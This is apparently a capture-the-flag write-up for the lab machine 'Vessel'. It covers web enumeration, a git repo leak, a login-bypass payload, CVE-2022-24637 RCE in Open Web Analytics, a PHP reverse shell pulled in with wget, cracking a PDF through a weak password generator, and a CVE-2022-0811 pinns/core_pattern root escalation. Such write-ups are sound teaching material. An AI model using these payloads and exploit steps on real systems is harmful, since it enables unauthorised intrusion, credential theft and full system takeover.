Scanning

> TARGET=10.129.112.189 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Vessel
|_http-favicon: Unknown favicon MD5: 9A251AF46E55C650807793D0DB9C38B8
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Enum

  • Inspecting the web page found a domain name: vessel.htb, add this to /etc/hosts
  • Registering an account at http://vessel.htb/register shows currently not available
  • Inspecting the traffic found a connect.sid, this indicates the use of nodejs express
POST /api/register HTTP/1.1
Host: vessel.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://vessel.htb
Connection: close
Referer: http://vessel.htb/register
Cookie: connect.sid=s%3ARkA_yhB0F8t4odxYkuBR7mSZW-eC_dHI.%2BQIqgvsy53mYn4YE12ma%2BtBKcRNpCaLdzcM4d5Gd81U
Upgrade-Insecure-Requests: 1
  • Running path scan found a path called /dev
> dirsearch -u http://vessel.htb/
  • Continue dirsearch under /dev found this is a git repository.
> dirsearch -u http://vessel.htb/dev
  • Use git-dumper to dump the git repo
> python3 ~/tools/git-dumper/git_dumper.py http://vessel.htb/dev repo
  • Note that there might be an error saying 'Index' object has no attribute 'iterblobs', to fix, pin your dulwich version to 0.20.20
> python3 -m pip install dulwich==0.20.20
  • Subdomain enum didn’t find anything
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://vessel.htb/" -H "Host: FUZZ.vessel.htb"

Source code inspection

  • Inspect git log of the leaked repo
> git log

commit 208167e785aae5b052a4a2f9843d74e733fbd917 (HEAD -> master)
Author: Ethan <ethan@vessel.htb>
Date:   Mon Aug 22 10:11:34 2022 -0400

    Potential security fixes

commit edb18f3e0cd9ee39769ff3951eeb799dd1d8517e
Author: Ethan <ethan@vessel.htb>
Date:   Fri Aug 12 14:19:19 2022 -0400

    Security Fixes

commit f1369cfecb4a3125ec4060f1a725ce4aa6cbecd3
Author: Ethan <ethan@vessel.htb>
Date:   Wed Aug 10 15:16:56 2022 -0400

    Initial commit
  • From git log, found developer name is Ethan
Author: Ethan <ethan@vessel.htb>
  • Found db credential in config/db.js
var connection = {
        db: {
        host     : 'localhost',
        user     : 'default',
        password : 'daqvACHKvRn84VdVp',
        database : 'vessel'
}};

Bypass web login

  • By inspecting the code, it seems that the sqli issue had been fixed in /routes/inject.js
router.post('/api/login', function(req, res) {
	let username = req.body.username;
	let password = req.body.password;
	if (username && password) {
		connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
			if (error) throw error;
			if (results.length > 0) {
				req.session.loggedin = true;
				req.session.username = username;
				req.flash('success', 'Succesfully logged in!');
				res.redirect('/admin');
			} else {
				req.flash('error', 'Wrong credentials! Try Again!');
				res.redirect('/login');
			}			
			res.end();
		});
	} else {
		res.redirect('/login');
	}
});
username=admin&password[password]=1
  • Bypass the login to get to the admin dashboard and under user icon found a button to Analytics, where a new subdomain is found: openwebanalytics.vessel.htb, add this to /etc/hosts

openwebanalytics

$cache_file = $this->makeCollectionDirPath($collection).$id.'.php';
# this corresponds to http://openwebanalytics.vessel.htb/owa-data/caches/1/
# cache_id is 1 by default
  • The cache file is generated using the id of the user in the format: md5(id1)
  • So, for the user with an id of 1, the cache name would be: fafe1b60c24107ccd8f4562213e44849
  • Using http://openwebanalytics.vessel.htb/index.php?owa_do=base.passwordResetForm, we can figure out a valid email, admin@vessel.htb
  • i assume this user has an id of 1, and in the end it turns out to be true.
  • We can attempt to login using this account, even a failed login will generate the cache file under: http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_configuration/, yet this cache doesn’t contain any user sensitive info. So we need to find other corresponding actions to generate another caches.
  • With some Google search, i found someone else’s website running owa and revealed how the cache files are named. Then way i searched is using google search operators:
inurl: "owa-data/caches"
# get the base64 encoded content and then decode it
> curl http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php

O:8:"owa_user":5:{s:4:"name";s:9:"base.user";s:10:"properties";a:10:{s:2:"id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:1:"1";s:9:"data_type";s:6:"SERIAL";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:1;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:8:"password";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$seT74YJuo1hsZgXS4UCYFOMogk95iQzGkCR9YjXoUAOg7w.dwumzO";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:4:"role";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:9:"real_name";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:13:"default admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"email_address";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:16:"admin@vessel.htb";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:12:"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"56801c66e2a182724800625776088f0e";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"creation_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:16:"last_update_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"api_key";O:12:"owa_dbColumn":11:{s:4:"name";s:7:"api_key";s:5:"value";s:32:"a390cc0247ecada9a2b8d2338b9ca6d2";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}}s:16:"_tableProperties";a:4:{s:5:"alias";s:4:"user";s:4:"name";s:8:"owa_user";s:9:"cacheable";b:1;s:23:"cache_expiration_period";i:604800;}s:12:"wasPersisted";b:1;s:5:"cache";N;}
  • The password hash can be found from the cache, but it cannot be cracked. However, we can see there is a temp_passkey, which can be used with the base.usersChangePassword action to change the account’s password
http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersChangePassword
  • Inspect the form to check the key name (hidden in the form) used for this request owa_k
  • Remove the hidden property, and paste the temp_passkey into the field, then change the password
  • Now, you should be able to login the account admin using the newly set password

foothold

> python3 cve-2022-24637.py -u http://openwebanalytics.vessel.htb/ -U admin -P test123

[+] - Found cache url: http://openwebanalytics.vessel.htb//owa-data/caches/1/owa_user/c30da9265ba0a4704db9229f864c9eb7.php
[+] - Downloaded cache
[+] - Found passkey: c849df0b12c44d26568c2be0e99e4862
[+] - Changed password of user admin to 'test123'
[+] - Submitted update for log file, ready for RCE...
SHELL> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • Note that this shell is very unstable, you’d better upgrade to a better shell
> cp /usr/share/webshells/php/php-reverse-shell.php w.php
# change the IP and port

# in the owa rce shell
SHELL> wget http://<ip>/w.php

# run a nc listener and browse to http://openwebanalytics.vessel.htb/owa-data/logs/w.php in the browser
  • Once receiving a better shell

Reverse eng

  • There is a passwordGenerator under /home/steven, this appears to be a windows executable
  • There is also a png and a pdf file under /home/steven/.notes/
/home/steven/.notes/screenshot.png
/home/steven/.notes/notes.pdf
  • The notes.pdf file is password protected, and the screenshot.png shows you what possible password complexity is used to generate the password.
  • Coming back to passwordGenerator. This is a windows 32 PE file, which is compiled using pyinstaller, to decompile it, use
https://github.com/extremecoders-re/pyinstxtractor
  • Note that this tool is made for 3.7, so, to ensure things can be extracted correctly, you need to install python3.7
  • Then, install uncompyle6 to decompile the passwordGenerator.pyc file, it is suggested to create a virtualenv for python3.7 so that you can always revert when things didn’t work out
# install virtualenv and activate
python.exe -m pip install virtualenv
python.exe -m virtualenv env37
env37\Scripts\activate

# extract content
python pyinstxtractor.py passwordGenerator

# decompile
pip install uncompyle6
uncompyle6 passwordGenerator.pyc
  • Reading the code, it would seem that there is a 32^128 combinations of passwords, however, running the code on these lines shows that the idx will only be a limited number of values due to how QT implements the random number generator.
qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
    idx = qrand() % len(charset)
  • Copying the genPassword code and modify it to make it work.
  • Then create a while loop to genreate passwords, the process will become extremely slow at around 1000 passwords.
from PySide2.QtCore import *


def genPassword():
    length = 32
    char = 0
    if char == 0:
        charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
    else:
        if char == 1:
            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
        else:
            if char == 2:
                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
            else:
                pass
    try:
        qsrand(QTime.currentTime().msec())
        password = ''
        for i in range(length):
            idx = qrand() % len(charset)
            nchar = charset[idx]
            password += str(nchar)
    except:
        print('error')
    return password


def gen_possible_passes():
    passes = []
    try:
        while True:
            ps = genPassword()
            if ps not in passes:
                passes.append(ps)
                # print(ps)
                print(len(passes))
    except KeyboardInterrupt:
        with open('pass.txt', 'w') as ofile:
            for p in passes:
                ofile.write(p + '\n')


gen_possible_passes()
  • Then use it with pdfcrack, you should have your password.
> pdfcrack -f notes.pdf -w ~/share/passwordGenerator_extracted/pass.txt

PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -1028
Length: 128
Encrypted Metadata: True
FileID: c19b3bb1183870f00d63a766a1f80e68
U: 4d57d29e7e0c562c9c6fa56491c4131900000000000000000000000000000000
O: cf30caf66ccc3eabfaf371623215bb8f004d7b8581d68691ca7b800345bc9a86
found user-password: 'YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS'
  • Open up the pdf file, you should have ethan’s password
Dear Steven,
As we discussed since I'm going on vacation you will be in charge of system maintenance. Please
ensure that the system is fully patched and up to date.
Here is my password: b@mPRNSVTjjLKId1T
System Administrator
Ethan
  • Login as ethan to get the user flag

PE

  • Upload linpeas.sh and run, found the following info
-rwsr-x--- 1 root   ethan      796K Mar 15 18:18 /usr/bin/pinns (Unknown SUID binary)

[+] Checking if runc is available
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation
runc was found in /usr/sbin/runc, you may be able to escalate privileges with it

Exploiting cve-2022-0811

  • Follow the steps closely, this is a confusing exploit
  • Note that there is no kubectl, minikube, docker etc involved in this exploit. You need to understand the concept of cve-2022-0811 and replicate using the underlying commands
  • Using pspy64, we can see that there are some scripts that keep deleting stuff in various folder. So i decided to do my exploit in /tmp/meow folder.
2022/08/31 05:28:01 CMD: UID=0    PID=53674  | sudo -u ethan rm -rf /home/ethan/*sh /home/ethan/.*sh /home/ethan/*/*.sh /home/ethan/*/*sh /home/ethan/.*/*sh /home/ethan/.*/.*sh
2022/08/31 05:28:01 CMD: UID=0    PID=53673  | /bin/sh /root/scripts/clean2.sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53672  | /bin/sh -c /root/scripts/clean2.sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53676  | /bin/bash /root/scripts/clean.sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53679  | sudo -u steven rm -rf /home/steven/.notes/.*sh /home/steven/.notes/*sh 
2022/08/31 05:28:01 CMD: UID=1001 PID=53681  | rm -rf /home/steven/.notes/.*sh /home/steven/.notes/*sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53682  | umount /home/ethan/utsns/* /home/ethan/ipcns/* /home/ethan/netns/* /home/ethan/cgroupns/* 
2022/08/31 05:28:01 CMD: UID=0    PID=53683  | umount /home/steven/utsns/* /home/steven/ipcns/* /home/steven/netns/* /home/steven/cgroupns/* 
2022/08/31 05:28:01 CMD: UID=0    PID=53685  | sudo -u ethan rm -rf /home/ethan/utsns /home/ethan/ipcns /home/ethan/netns /home/ethan/cgroupns 
2022/08/31 05:28:01 CMD: UID=1000 PID=53686  | 
2022/08/31 05:28:01 CMD: UID=0    PID=53687  | sudo -u steven rm -rf /home/steven/utsns /home/steven/ipcns /home/steven/netns /home/steven/cgroupns 
2022/08/31 05:28:01 CMD: UID=0    PID=53689  | sudo -u ethan rm /tmp/*.sh 
2022/08/31 05:28:01 CMD: UID=0    PID=53691  | /bin/sh /root/scripts/clean2.sh 
  • Open two ssh sessions

Step 1

  • In session 1, do the following
ethan@vessel:~$ mkdir /tmp/meow && cd /tmp/meow
ethan@vessel:/tmp/meow$ runc spec --rootless
ethan@vessel:/tmp/meow$ mkdir rootfs
ethan@vessel:/tmp/meow$ vi config.json 

############# under mounts section, add the following content
{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},
#############

ethan@vessel:/tmp/meow$ runc --root /tmp/meow run alpine
# you should be in the container now, but this is a read-only filesystem

Step 2

  • In session 2, create a script that adds the s bit to /usr/bin/bash
ethan@vessel:~$ echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/meow/e.sh && chmod +x /tmp/meow/e.sh

Step 3

  • In sesison 1, check the script is created and is executable
# ls -ls /tmp/meow
total 16
4 drwx--x--x 2 root root 4096 Aug 31 10:49 alpine
4 -rw-rw-r-- 1 root root 2875 Aug 31 10:49 config.json
4 -rwxrwxr-x 1 root root   33 Aug 31 10:50 e.sh
4 drwxrwxr-x 5 root root 4096 Aug 31 10:48 rootfs

Step 4

  • In session 2, use pinns to assign the kernel.core_pattern a value so that upon a core dump, it will execute the malicious script
ethan@vessel:~$ pinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/meow/e.sh #' --ipc --net --uts --cgroup

Step 5

  • In session 1, trigger a core dump
# ulimit -c unlimited
# tail -f /dev/null &
# ps
    PID TTY          TIME CMD
      1 pts/0    00:00:00 sh
     12 pts/0    00:00:00 tail
     13 pts/0    00:00:00 ps
# bash -i
bash: /root/.bashrc: Permission denied
root@runc:/# kill -SIGSEGV 12
root@runc:/# ps
    PID TTY          TIME CMD
      1 pts/0    00:00:00 sh
     14 pts/0    00:00:00 bash
     17 pts/0    00:00:00 ps

Step 6

  • In session 2, check that the s bit has been assigned to /usr/bin/bash, and then promote to effective root
ethan@vessel:~$ ls -ls /usr/bin/bash
1160 -rwsr-sr-x 1 root root 1183448 Apr 18 09:14 /usr/bin/bash
ethan@vessel:~$ bash -p
bash-5.0# cd /root
bash-5.0# cat root.txt